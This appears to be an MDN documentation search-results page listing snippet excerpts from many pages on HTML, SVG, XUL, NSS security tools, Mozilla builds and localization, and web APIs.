... // getldapattributes("ldap2.int-evry.fr","ou=people,dc=int-evry,dc=fr","uid=" + env_user,"uid,cn,mail,labeleduri"); // close the try, and call the catch() } catch(e) {displayerror("lockedpref", e);} if ldap call are uncommented in the preference file above, then i get a popup with: netscape.cfg/autoconfig failed.
...And 18 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
unlike native code installers (for example, files called setup.exe), the programming language for install operations in xpi is javascript.
... netscape communicator 4.x does not support xpinstall.
...for those familiar with netscape communicator 4.x's smartupdate technology, this will be a familiar idea.
...And 18 more matches
TCP/IP Security - Archive of obsolete content
tcp/ip is widely used throughout the world to provide network communications.
... tcp/ip communications are composed of four layers that work together.
... the transport layer can optionally assure the reliability of communications.
...And 18 more matches
sample2
*/ #ifndef port_errortostring #define port_errortostring(err) pr_errortostring((err), pr_language_i_default) #endif /* sample 6 commands */ typedef enum { generate_csr, add_cert_to_db, save_cert_to_header, encrypt, decrypt, sign, verify, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4, pubkey = 5, lab = 6, certenc= 7, certvfy= 8, sig = 9 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s %s %s %s %s %s %s %s %s %s\n\n"...
...s <subject> -r <csr> | ", "-n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ] | ", "-n <nickname> -b <headerfilename> | ", "-b <headerfilename> -i <ipfilename> -e <encryptfilename> | ", "-b <headerfilename> -i <ipfilename> | ", "-b <headerfilename> -i <ipfilename> | ", "-b <headerfilename> -e <encryptfilename> -o <opfilename> \n"); fprintf(stderr, "commands:\n\n"); fprintf(stderr, "%s %s\n --for generating cert request (for ca also)\n\n", progname, "-g -s <subject> -r <csr>"); fprintf(stderr, "%s %s\n --to input and store cert (for ca also)\n\n", progname, "-a -n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ]"); fprintf(stderr, "%s %s\n --to put cert in header\n\n", progname, "-h -n <nickname> -b <...
...issuernickname>"); fprintf(stderr, "%-30s - certificate signing request \n\n", "-r <csr>"); fprintf(stderr, "%-30s - generate a self-signed cert [optional]\n\n", "-x"); fprintf(stderr, "%-30s - to enable ascii [optional]\n\n", "-a"); fprintf(stderr, "%-30s - to save certificate to header file as sig verification [optional]\n\n", "-v"); exit(-1); } /* * validate the options used for generate csr command */ static void validategeneratecsrcommand(const char *progname, const char *dbdir, certname *subject, const char *subjectstr, const char *certreqfilename) { prbool validationfailed = pr_false; if (!subject) { pr_fprintf(pr_stderr, "%s -g -d %s -s: improperly formatted name: \"%s\"\n", progname, dbdir, subjectstr); validationfailed = pr_true; } if (!certreqfilename) { pr_fprintf(pr_stderr, "%s ...
...And 18 more matches
SVGPathSeg - Web APIs
svg path segment interface this is a base interface that corresponds to a single command within a path data specification.
... pathseg_closepath 1 corresponds to a "closepath" (z) path data command.
... pathseg_moveto_abs 2 corresponds to an "absolute moveto" (m) path data command.
...And 18 more matches
Web Video Text Tracks Format (WebVTT) - Web APIs
zero or more cues or comments.
... example 3 - common webvtt example with a header and cues webvtt - this file has cues.
... we can also place comments in our .vtt file, to help us remember important information about the parts of our file.
...And 18 more matches
<details>: The Details disclosure element - HTML: Hypertext Markup Language
WebHTMLElementdetails
a summary or label can be provided using the <summary> element.
...if the first child of the <details> element is a <summary>, the contents of the <summary> element are used as the label for the disclosure widget.
... note: the common use of a triangle which rotates or twists around to represent opening or closing the widget is why these are sometimes called "twisties." a <details> widget can be in one of two states.
...And 18 more matches
x - SVG: Scalable Vector Graphics
WebSVGAttributex
specifications specification status comment filter effects module level 1the definition of 'x' in that specification.
... candidate recommendation definition for <mask> scalable vector graphics (svg) 2the definition of 'x' in that specification.
... candidate recommendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'x' in that specification.
...And 18 more matches
y - SVG: Scalable Vector Graphics
WebSVGAttributey
specifications specification status comment filter effects module level 1the definition of 'y' in that specification.
... candidate recommendation definition for <mask> scalable vector graphics (svg) 2the definition of 'y' in that specification.
... candidate recommendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'y' in that specification.
...And 18 more matches
Mozilla release FAQ - Archive of obsolete content
mozilla is a project to continue netscape communicator as an open project.
... the project is maintained by employees of netscape (now a division of aol), red hat, some other companies, as well as contributors from the community.
...the mozilla project started near the end of life of the 4.x line of netscape communicator.
...And 17 more matches
Encryption and Decryption - Archive of obsolete content
symmetric-key encryption public-key encryption key length and encryption strength symmetric-key encryption with symmetric-key encryption, the encryption key can be calculated from the decryption key and vice versa.
... with most symmetric algorithms, the same key is used for both encryption and decryption, as shown in figure 1.
... implementations of symmetric-key encryption can be highly efficient, so that users do not experience any significant time delay as a result of the encryption and decryption.
...And 17 more matches
NSS tools : modutil
please contribute to the initial review in mozilla nss bug 836477[1] description the security module database tool, modutil, is a command-line utility for managing pkcs #11 module information both within secmod.db files and within hardware tokens.
...use this command with the -installdir and -tempdir arguments.
...changing the names of the certificate and key databases is not recommended.
...And 17 more matches
NSS tools : modutil
MozillaProjectsNSStoolsmodutil
synopsis modutil [options] arguments description the security module database tool, modutil, is a command-line utility for managing pkcs #11 module information both within secmod.db files and within hardware tokens.
...use this command with the -installdir and -tempdir arguments.
...changing the names of the certificate and key databases is not recommended.
...And 17 more matches
nsIDOMWindowUtils
t); void forceupdatenativemenuat(in astring indexstring); void garbagecollect([optional] in nsicyclecollectorlistener alistener); short getcursortype(); astring getdocumentmetadata(in astring aname); nsidomwindow getouterwindowwithid(in unsigned long long aouterwindowid); long getpccountscriptcount(); astring getpccountscriptsummary(in long ascript); astring getpccountscriptcontents(in long ascript); void getscrollxy(in boolean aflushlayout, out long ascrollx, out long ascrolly); astring getvisiteddependentcomputedstyle(in nsidomelement aelement, in astring apseudoelement, in astring apropertyname); boolean isinmodalstate(); void leavemodalstate(); void loads...
... void removesheet(in nsiuri sheeturi, in unsigned long type); void resumetimeouts(); void sendcompositionevent(in astring atype); obsolete since gecko 9 void sendcompositionevent(in astring atype, in astring adata, in astring alocale); obsolete since gecko 38.0 void sendcontentcommandevent(in astring atype, [optional] in nsitransferable atransferable); void getclassname(in object aobj); boolean sendkeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in boolean apreventdefault); obsolete since gecko 15.0 boolean sendkeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [opt...
... getpccountscriptsummary() returns a summary of the profile information for a script.
...And 17 more matches
Web audio codec guide - Web media technologies
additionally, webrtc implementations generally use a subset of these codecs for their encoding and decoding of media, and may support additional codecs as well, for optimal cross-platform support of video and audio conferencing, and to integrate better with legacy telecommunication solutions.
... common codecs the list below denotes the codecs most commonly used on the web and which containers (file types) support them.
... generally speaking, the most common reasons to choose lossless audio are because you require archival-quality storage, or because the audio samples will be remixed and recompressed, and you wish to avoid the amplification of artifacts in the audio due to recompression.
...And 17 more matches
xlink:href - SVG: Scalable Vector Graphics
if the xlink:href attribute is not provided, the target element will be the immediate parent element of the current animation element.
... value <iri> default value none animatable yes specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'href for <a>' in that specification.
... recommendation defines href for the <a> element.
...And 17 more matches
Adding Event Handlers - Archive of obsolete content
we would want to add a script to handle the find button, the cancel button and to handle each menu command.
... the most common event used is the 'command' event.
... the command event is fired when a user activates an element, for example by pressing a button, changing a checkbox or selecting an item from a menu.
...And 16 more matches
Broadcasters and Observers - Archive of obsolete content
command attribute forwarding we've already seen that elements such as buttons can be hooked up to commands.
... in addition, if you place the disabled attribute on the command element, any elements hooked up to it will also become disabled automatically.
...for instance, if you place a label attribute on a command element, any buttons attached to the command will share the same label.
...And 16 more matches
Organizing your CSS - Learn web development
prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn some tips and best practices for organizing stylesheets, and find out about some of the naming conventions and tools in common usage to help with css organization and team working.
... comment your css adding comments to your css will help any future developer work with your css file, but will also help you when you come back to the project after a break.
... /* this is a css comment it can be broken onto multiple lines.
...And 16 more matches
HTML text fundamentals - Learn web development
to answer this question, let's take a look at text-start.html—the starting point of our running example for this article (a nice hummus recipe).
... milk eggs bread hummus every unordered list starts off with a <ul> element—this wraps around all the list items: <ul> milk eggs bread hummus </ul> the last step is to wrap each list item in a <li> (list item) element: <ul> <li>milk</li> <li>eggs</li> <li>bread</li> <li>hummus</li> </ul> active learning: marking up an unordered list try editing the live sample below to create your very own html unorder...
... playable code <h2>live output</h2> <div class="output" style="min-height: 50px;"> </div> <h2>editable code</h2> <p class="a11y-label">press esc to move focus away from the code area (tab inserts a tab character).</p> <textarea id="code" class="input" style="min-height: 100px; width: 95%">milk eggs bread hummus</textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = documen...
...And 16 more matches
Website security - Learn web development
this introductory article won't make you a website security guru, but it will help you understand where threats come from, and what you can do to harden your web application against the most common attacks.
... objective: to understand the most common threats to web application security and what you can do to reduce the risk of your site being hacked.
...while all that sounds very ominous, the good news is that if you're using a server-side web framework, it will almost certainly enable "by default" robust and well-thought-out defense mechanisms against a number of the more common attacks.
...And 16 more matches
How to get a stacktrace with WinDbg
you should now see a "command" text window with debug output at the top and an input box at the bottom.
... before debugging can start, several commands must be entered into the one-line input box at the bottom of the command window.
... tip: all commands must be entered exactly as written, one line at a time, into the bottom of the command box.
...And 16 more matches
Python binding for NSS
nss is built upon nspr because nspr provides an abstraction of common operating system services, particularly in the areas of networking and process management.
... python also provides an abstraction of common operating system services but because nss and nspr are tightly bound python-nss exposes elements of nspr.
...programmers already familiar with nss/nspr will be quite comfortable with python-nss.
...And 16 more matches
Accessibility documentation index - Accessibility
found 105 pages: # page tags and summary 1 accessibility accessibility, landing accessibility (often abbreviated to a11y—as in "a" then 11 characters then "y") in web development means enabling as many people as possible to use web sites, even when those people's abilities are limited in some way.
...it supplements html so that interactions and widgets commonly used in applications can be passed to assistive technologies 3 aria screen reader implementors guide aria, accessibility this is just a guide.
... 5 aria annotations aria, accessibility, wai-aria, annotations, comments, details, suggestions wai-aria version 1.3 sees the addition of a set of new features, collectively known as aria annotations, which allow the creation of accessible annotations inside web documents.
...And 16 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
because javascript is notorious for being the world's most misunderstood programming language.
...it was originally going to be called livescript, but it was renamed in an ill-fated marketing decision that attempted to capitalize on the popularity of sun microsystem's java language — despite the two having very little in common.
... unlike most programming languages, the javascript language has no concept of input or output.
...And 16 more matches
widget - Archive of obsolete content
you can communicate with the script using either the postmessage() api or (preferably, usually) the port api.
... like a content script, these scripts can communicate with the add-on code using the postmessage() api or the port api.
...var mywidget = widgets.widget({ id: "widget-effect", label: "wide widget that grows wider on a timer", content: "i'm getting longer.", width: 50, }); require("sdk/timers").setinterval(function() { mywidget.width += 10; }, 1000); // a widget communicating bi-directionally with a content script.
...And 15 more matches
jpm - Archive of obsolete content
jpm is a command-line tool that enables you to test, run, and package add-ons.
... jpm usage is: jpm [command] [options] jpm supports the following global options: -h, --help - show a help message and exit -v, --version - print the jpm version number --addon-dir - directory for your source code, defaulting to the current directory installation jpm is distributed with the node package manager npm.
...e $home/.profile to add it to your path permanently (as the file .profile is executed every time a new terminal is opened): export path="$home/node_modules/.bin/:$path" installing jpm from git alternatively, you can also get the latest version of jpm using git: git clone https://github.com/mozilla-jetpack/jpm.git cd jpm npm install npm link after installing jpm after installation, at the command prompt, type: jpm you should see a screen summarizing the available jpm commands.
...And 15 more matches
The Essentials of an Extension - Archive of obsolete content
unix-based systems have a command line tool called uuidgen that generates uuids.
...the enclosing brackets are just notation, and they're just common practice.
...testing your add-ons with every firefox version is always recommended, though.
...And 15 more matches
Mozilla Crypto FAQ - Archive of obsolete content
if you wish to develop and distribute cryptographic software, particularly for commercial sale or distribution, then you should consult an attorney with expertise in the particular laws and regulations that apply in your jurisdiction.
...in february 2000 iplanet e-commerce solutions (a sun-netscape alliance) released source code through mozilla.org for the personal security manager and network security services software; this source code included support for the ssl protocol, but due to the rsa patent and related legal issues it did not originally contain code for rsa or other cryptographic algorithms.
...department of commerce press release announcing the new regulations as well as the updated regulations (pdf) themselves.
...And 15 more matches
Gecko Compatibility Handbook - Archive of obsolete content
these browsers were developed before the relevant w3c recommendations for html, css, and the dom existed.
...for more solutions to common problems please continue reading this handbook.
... testing aol from within a firewall if you need to connect to aol via a corporate firewall, america online has registered tcp/ip ports 5190 and 11523 so you can communicate with the aol client software.
...And 15 more matches
Deployment and next steps - Learn web development
prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
... note: there is also an official template for using webpack and also many community-maintained plugins for other bundlers.
...vercel is a cloud platform specifically tailored for static sites, which has out-of-the-box support for most common front-end tools, svelte being one of them.
...And 15 more matches
Debugging on Mac OS X
rather than disabling sip (which has security implications), it is recommended to debug with try builds or local builds.
... to obtain a hardened runtime build without using try infrastructure, a developer can manually codesign builds using the macos codesign(1) command with the developer.entitlements.xml file from the tree.
...note that disabling sip bypasses hardened runtime restrictions which can mask some bugs that only occur with hardened runtime so it is recommended to test fixes with sip enabled.
...And 15 more matches
Bootstrapping a new locale
(you should "cd" to the directory before beginning.) in the terminal, type the following command: $ hg clone http://hg.mozilla.org/releases/mozilla-x.x.x/ where "x.x.x" is the existing release branch version.
... if you are interested in localizing thunderbird 3, seamonkey 2 or other mozilla projects based on gecko 1.9.1 you'll need to follow the instructions on getting the source-code of the comm-central repository.
... before you run the copy commands, you need to make the locale directory at the same level as the mozilla-1.9.x/ you just cloned from above.
...And 15 more matches
MathML Accessibility in Mozilla
at the moment, it is recommended to use a nightly build to ensure that the accessible tree expected by orca is correctly exposed.
... x plus y enclosed by: an arabic factorial symbol x + y up madruwb enclosed abcd e __________ open a comma b comma c comma d comma e close __________ not supported.
...a comma.
...And 15 more matches
gtstd.html
figure 2.1 relationships among nss libraries, cryptographic modules, slots, and tokens as shown in the figure, ssl communicates with pkcs #11 modules through the pkcs #11 interface.
... the communicator certificate db token handles all communication with the certificate and key database files (called certx.db and keyx.db, respectively, where x is a version number) that store certificates and keys.
...the fips 140-1 module includes a single, built-in fips 140-1 certificate db token (see figure 2.1), which handles both cryptographic operations and communication with the certx.db and keyx.db files.
...And 15 more matches
NSS Tools certutil
using the certificate database tool the certificate database tool is a command-line utility that can create and modify the netscape communicator cert8.db and key3.db database files.
... syntax to run the certificate database tool, type the command certutil option [arguments ] where options and arguments are combinations of the options and arguments listed in the following section.
... each command takes one option.
...And 15 more matches
All keyboard shortcuts - Firefox Developer Tools
command windows macos linux open toolbox (with the most recent tool activated) ctrl + shift + i cmd + opt + i ctrl + shift + i bring toolbox to foreground (if the toolbox is in a separate window and not in foreground) ctrl + shift + i or f12 cmd + opt + i or f12 ctrl + shift + i or f12 close toolbox (if the toolbox is in a separate window and in fo...
...instead, it focuses on the web console's command line.
... command windows macos linux cycle through tools left to right ctrl + ] cmd + ] ctrl + ] cycle through tools right to left ctrl + [ cmd + [ ctrl + [ toggle between active tool and settings.
...And 15 more matches
Event reference
most common categories resource events event name fired when error a resource failed to load.
... storage events change (see non-standard events) storage update events checking downloading error noupdate obsolete updateready value change events broadcast checkboxstatechange hashchange input radiostatechange readystatechange valuechange uncategorized events invalid message message open show less common and non-standard events abortable fetch events event name fired when abort a dom request is aborted, i.e.
... svg events svgabort svgerror svgload svgresize svgscroll svgunload svgzoom database events abort blocked complete error success upgradeneeded versionchange script events afterscriptexecute beforescriptexecute menu events dommenuitemactive dommenuiteminactive window events close popup events popuphidden popuphiding popupshowing popupshown tab events visibilitychange battery events chargingchange chargingtimechange dischargingtimechange levelchange call events alerting busy callschanged cfstatechange connecting dialing disconnected disconnecting error held, holding incoming resuming statechange voicechange sensor events compassneedscalibration devicemotion deviceorientation orientationchange smartcard events icccardlockerror iccinf...
...And 15 more matches
XUL Events - Archive of obsolete content
the event handler should be placed on an observer.checkboxstatechangethe checkboxstatechange event is executed when the state of a <checkbox> element has changed.closethe close event is executed when a request has been made to close the window when the user presses the close button.commandthe command event is executed when an element is activated.commandupdatethe commandupdate event is executed when a command update occurs on a <commandset>.
... this event would be used to update the disabled status of its commands.dommenuitemactivethe dommenuitemactive event is executed when a <menu> or a <menuitem> has been hovered or highlighted.dommenuiteminactivethe dommenuiteminactive event is executed when a <menu> or a <menuitem> in no longer hovered or highlighted.popuphiddenthe popuphidden event is executed when a <menupopup>, <panel> or <tooltip> has become hidden.popuphidingthe popuphiding event is executed when a <menupopup>, <panel> or <tooltip> is about to be hidden.popupshowingthe popupshowing event is executed when a <menupopup>, <panel> or <tooltip> is about to become visible.
...you should not use this event in xul to respond to user actions; the command event should be used instead.
...And 14 more matches
Adobe Flash - Archive of obsolete content
this article explains how javascript can be used to access methods from within the flash plugin, as well as how a feature called fscommands can be used to access javascript functions from within the flash animation.
...however, if you wish to use fscommands with the flash plugin to call javascript functions in an html page, then you must use the embed element, as discussed further in the section on fscommands.
... example 2: javascript to flash communication note: javascript to flash communication may not work with flash player versions older than version 8 if the user has installed multiple mozilla based browsers onto the same machine (see bug 284057 and bug 233533).
...And 14 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
public-key cryptography and related standards and techniques underlie the security features of many products such as signed and encrypted email, single sign-on, and secure sockets layer (ssl) communications.
...for an overview of ssl, see "introduction to ssl." for an overview of encryption and decryption, see "encryption and decryption." information on digital signatures is available from "digital signatures." public-key cryptography is a set of well-established techniques and standards for protecting communications from eavesdropping, tampering, and impersonation attacks.
... encryption and decryption allow two communicating parties to disguise information they send to each other.
...And 14 more matches
Looping code - Learn web development
previous overview: building blocks next programming languages are very useful for rapidly completing repetitive tasks, from multiple basic calculations to just about any other situation where you've got a lot of similar items of work to complete.
...as well as being associated with popular breakfast cereals, roller coasters, and musical production, they are also a critical concept in programming.
... programming loops are all to do with doing the same thing over and over again — which is termed iteration in programming speak.
...And 14 more matches
Old Thunderbird build
8 gb or more is recommended.
...you can pick any other location, such as a new directory c:/thunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild command prompt per windows build prerequisite).
... get the latest source code from mozilla's comm-central mercurial code repository: hg clone https://hg.mozilla.org/comm-central then, get all the repositories it depends on.
...And 14 more matches
Eclipse CDT
therefore, it is not recommended for use if your machine only has 4 gb of ram.
...since it's a pain to install them and keep them up to date we do not recommend getting eclipse this way.) increase eclipse's memory limits!
...in the case of the build-backend command, instructions on how to open the project will be displayed after the command completes.
...And 14 more matches
Application Translation with Mercurial
file comparison program for the translation, it is recommend to use file comparison program to compare the english file (containing the new texts) with the file of your locale (which is still missing the new strings).
... thunderbird, lightning or seamonkey: download the comm-<branch>.hg file (e.g.
... comm-aurora.hg) from https://ftp.mozilla.org/pub/mozilla.org/thunderbird/bundles/ in the next step, we will unpack the source code: open an input shell, e.g.
...And 14 more matches
Creating localizable web applications
listed below are good practices and recommendations that should be followed in order to make your content easily localizable.
...in some cases, the code snippets were slightly changed to better illustrate the recommendations or for clarity.
...in gettext use comments and contexts).
...And 14 more matches
nss tech note5
of key bytes */ keyitem.len = /* length of the array of key bytes */ /* turn the secitem into a key object */ pk11symkey* symkey = pk11_importsymkey(slot, ciphermech, pk11_originunwrap, cka_encrypt, &keyitem, null); if generating the key - see section generate a symmetric key <big>prepare the parameter for crypto context.
... of key bytes */ keyitem.len = /* length of the array of key bytes */ /* turn the secitem into a key object */ pk11symkey* symkey = pk11_importsymkey(slot, digestmech, pk11_originunwrap, cka_digest, &keyitem, null); if generating the key - see section generate a symmetric key.
...ray of key bytes */ keyitem.len = /* length of the array of key bytes */ /* turn the secitem into a key object */ pk11symkey* symkey = pk11_importsymkey(slot, hmacmech, pk11_originunwrap, cka_sign, &keyitem, null); if generating the key - see section generate a symmetric key.
...And 14 more matches
Web Replay
ipc integration allows a replaying process to communicate with the chrome process using ipdl and shared memory.
... the rewind infrastructure allows a replaying process to restore a previous state, while still maintaining communication with the chrome process.
... both of these involve inter-thread communication and calls to non-deterministic apis, and the resulting non-determinism must be allowed within the replaying process.
...And 14 more matches
An Overview of XPCOM
modular, component-based programming makes software easier to develop and maintain and has some well-known advantages: benefit description reuse modular code can be reused in other applications and other contexts.
...the best way to tackle a project of this size is to divide it into smaller, more manageable pieces, use a component programming model, and to organize related sets of components into modules.
...the basic idea is to identify the pieces of functionality that are related and understand how they communicate with each other.
...And 14 more matches
nsITextInputProcessor
.idlscriptable this interface is a text input events synthesizer and manages its composition and modifier state 1.0 66 introduced gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) the motivation of this interface is to provide better api than nsidomwindowutils to dispatch key events and create, modify, and commit composition in higher level.
... finally, when you commit the composition with the last composition string, just do this: tip.commitcomposition(); when you commit composition with specific string, specify commit string with its argument: tip.commitcompositionwith("foo-bar-buzz"); when you cancel composition, just do this: tip.cancelcomposition(); when you dispatch keydown event (and one or more keypress events), just do this: var keyevent = ...
...var dodefault = tip.keydown(keyevent); when you dispatch keyup event, just do this: var keyevent = new keyboardevent("", { key: "a", code: "keya", keycode: keyboardevent.dom_vk_a }); var dodefault = tip.keyup(keyevent); startcomposition(), flushpendingcomposition(), commitcomposition(), commitcompositionwith(), and cancelcomposition() can take a keyboardevent which causes modifying the composition state.
...And 14 more matches
Mozilla
these articles provide important guides and references to ensuring the code you write is secure, including both design recommendations and testing guidelines.
... command line options command line options are used to specify various startup options for mozilla applications.this page describes the commonly used options and how to use them.
... you can open the command line interface by pressing shift + f2.
...And 14 more matches
HTML elements reference - HTML: Hypertext Markup Language
WebHTMLElement
this element is most commonly used to link to stylesheets, but is also used to establish site icons (both "favicon" style icons and icons for the home screen and apps on mobile devices) among other things.
...common examples of navigation sections are menus, tables of contents, and indexes.
...common uses for this element are to implement a glossary or to display metadata (a list of key-value pairs).
...And 14 more matches
Appendix: What you should know about open-source software licenses - Archive of obsolete content
this document was authored by yutaka kachi and was originally published in japanese for the firefox developers conference summer 2007.
...modifications to bsd-licensed software can be published under commercial licenses or other different licenses.
... the common public license (cpl) and eclipse public license (epl) are similar in substance.
...And 13 more matches
Notes on HTML Reflow - Archive of obsolete content
some reflows are immediate in response to user or script actions; for example, resizing the window or changing the document's default font.
... initial, incremental, resize, and style change reflows may each be performed as an immediate "global" reflow from the presentation shell: an initial reflow is performed when the presentation shell is initialized to flow the shell's initial frame hierarchy.
...to request (or schedule ) an incremental reflow (e.g., in response to a change in the content model), a reflow command object is created and passed to the presentation shell via the nsipresshell::appendreflowcommand method.
...And 13 more matches
Installer Script - Archive of obsolete content
logcomment("insufficient disk space: " + dirpath); 13.
... logcomment(" required : " + spacerequired + " k"); 14.
... logcomment(" available: " + spaceavailable + " k"); 15.
...And 13 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
p, autocompletesearch, autocompletesearchparam, completedefaultindex, completeselectedindex,crop, disableautocomplete, disabled, disablekeynavigation, enablehistory, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputtooltiptext, label, maxlength, maxrows, minresultsforpopup, nomatch, onchange, oninput, onsearchcomplete, ontextentered, ontextreverted, open, readonly,showcommentcolumn, showimagecolumn, size, tabindex, tabscrolling, timeout, type, value properties accessibletype, completedefaultindex, controller, crop, disableautocomplete, disablekeynavigation, disabled, editable, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputfield, label, maxlength, maxrows, minresultsforpopup, open, popup, popupopen, searchcount, searchparam, s...
...electionend, selectionstart, showcommentcolumn, showimagecolumn,size, tabindex, tabscrolling, textlength, textvalue, timeout, type, value methods getsearchat, onsearchcomplete, ontextentered, ontextreverted, select, setselectionrange examples <textbox type="autocomplete" autocompletesearch="history"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
...And 13 more matches
Strategies for carrying out testing - Learn web development
previous overview: cross browser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross-browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross-browser testing.
...you can make this as simple or as complex as you like — for example a common approach is to have multiple grades of support level, something like: a grade: common/modern browsers — known to be capable.
...certain countries, or locales), then you will probably have different common browsers to test.
...And 13 more matches
HTTP logging
don't let the scary-looking command line stuff frighten you off; it's not hard at all!
... open a command prompt.
... on windows xp, you can find the "run..." command in the start menu's "all programs" submenu.
...And 13 more matches
Simple Instantbird build
build prerequisites hardware requirements: while you can build instantbird on older hardware it can take quite a bit of time to compile on slower machines, and having 8gb of ram is recommended (though you can probably still get away with 4gb).
... get the latest source code from mozilla's comm-central mercurial code repository: hg clone http://hg.mozilla.org/comm-central then, get all the repositories it depends on.
... the comm-central repository includes a script to do just that.
...And 13 more matches
Eclipse CDT Manual Setup
setup time some points in the rest of this document below are old and taken care of by the mach commands described above (although some of the project configuration is not done automatically yet).
...if relative paths are used to specify the source file or any of its include paths (common in mozilla), and if you fail to take steps to make sure the build output specifies which directory the compiler is invoked from, this will not be possible.
... the consequences of the above observations are this: it is strongly recommended that you invoke your normal (re)builds from the command line, externally of eclipse.
...And 13 more matches
QA phase
if you're localizing mozilla websites, your work will display soon after you've committed it without needing a language pack.
... please either follow the above structure closely or adjust the commands below according to your custom setup.
... to copy this file to the appropriate directory, do the following: navigate to your working directory from your command-line terminal (i.e., where you created the folder structure described above).
...And 13 more matches
nsIJumpListBuilder
widget/public/nsijumplistbuilder.idlscriptable please add a summary to this article.
...callers should begin the creation of a new jump list using initlistbuild(), add sub lists using addlisttobuild(), then commit the jump list using commitlistbuild().
...users may remove items from jump lists after they are committed.
...And 13 more matches
Using the Web Speech API - Web APIs
speech recognition speech recognition involves receiving speech through a device's microphone, which is then checked by a speech recognition service against a list of grammar (basically, the vocabulary you want to have recognised in a particular app.) when a word or phrase is successfully recognised, it is returned as a result (or list of results) as a text string, and further actions can be initiated as a result.
... the web speech api has a main controller interface for this — speechrecognition — plus a number of closely-related interfaces for representing grammar, results, etc.
... generally, the default speech recognition system available on the device will be used for the speech recognition — most modern oses have a speech recognition system for issuing voice commands.
...And 13 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
the screen reader user can navigate the web page using screen reader commands or browser commands, and the two pieces of software must remain in sync.
...this is so commonly done, that no one even bothers to support the msaa caret, after all the hack is general solution works with pretty much all applications.
... when to use msaa, and when not to it's a common mistake to say that msaa is not worth using, for a number of reasons.
...And 13 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
WebHTMLElementinput
not recommended.
...this table is followed by a list describing each attribute in greater detail, along with which input types they are associated with.those that are common to most or all input types are defined in greater detail below.
... attributes that are unique to particular input types—or attributes which are common to all input types but have special behaviors when used on a given input type—are instead documented on those types' pages.
...And 13 more matches
HTTP Index - HTTP
WebHTTPIndex
this page lists all mdn http pages along with their summary and tags.
... found 277 pages: # page tags and summary 1 http http, hypertext, reference, tcp/ip, web, web development, l10n:priority hypertext transfer protocol (http) is an application-layer protocol for transmitting hypermedia documents, such as html.
... it was designed for communication between web browsers and web servers, but it can also be used for other purposes.
...And 13 more matches
Authoring MathML - MathML
it's recommended to convert your content mathml markup into presentation mathml before publishing it, for example with the help of the ctop.xsl stylesheet.
...in thunderbird, you can use the "insert html" command to paste your html+mathml code.
...the same is true for mathml: for example ascii syntaxes as used in calculators or the more powerful latex language, very popular among the scientific community.
...And 13 more matches
/loader - Archive of obsolete content
create commonjs module loaders.
... it can be loaded as a regular script tag in documents that have system principals (note: this does not appear to work as of 02.2016 due to "use strict" being added to the file): <script type='application/javascript' src='resource://gre/modules/commonjs/toolkit/loader.js'></script> this will expose a single loader object containing all of the api functions described in this document.
... it can be loaded as a javascript code module: let { loader, require, unload } = components.utils.import('resource://gre/modules/commonjs/toolkit/loader.js'); it can be required as a commonjs module from a module loaded in the loader itself: let { loader, require, unload } = require('toolkit/loader'); what is it good for ?
...And 12 more matches
Index of archived content - Archive of obsolete content
lowship program api navigator navigator.moznotification add-ons add-on sdk builder guides content scripts communicating with other scripts communicating using "port" communicating using "postmessage" cross-domain content scripts interacting with page scripts loading content scripts reddit example port self contributor's...
... sidebar stringview tabbox toolbar tree uri parsing view source for xul applications windows xml-related code snippets xml:base support in old browsers xpath getattributens common pitfalls communication between html and your extension creating custom firefox extensions with the mozilla build system custom about: urls default preferences deploying a plugin as an extension developing add-ons displaying web content in an extension without security issues downloading json and javascript in extens...
...roduction to xul—how to build a more intuitive ui chapter 4: using xpcom—implementing advanced processes chapter 5: let's build a firefox extension chapter 6: firefox extensions and xul applications license and authors xul school tutorial adding events and commands adding toolbars and toolbar buttons adding menus and submenus adding sidebars adding windows and dialogs appendix a: add-on performance appendix b: install and uninstall scripts appendix c: avoiding using eval in add-ons appendix d: loading scripts appendix e: dom buil...
...And 12 more matches
Menu - Archive of obsolete content
ArchiveMozillaJetpackUIMenu
this method and set() are the recommended methods of adding items to a menu.
...if the menu is visible, it will reflect the changes immediately.
...this method and add() are the recommended methods of adding items to a menu.
...And 12 more matches
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
this misunderstanding is compounded by the fact that, prior to version 9, microsoft® internet explorer only supports xhtml if it is served with mime media type text/html rather than the recommended application/xhtml+xml.
... comments (<!—— ...
... content contained within comments (<!—— ...
...And 12 more matches
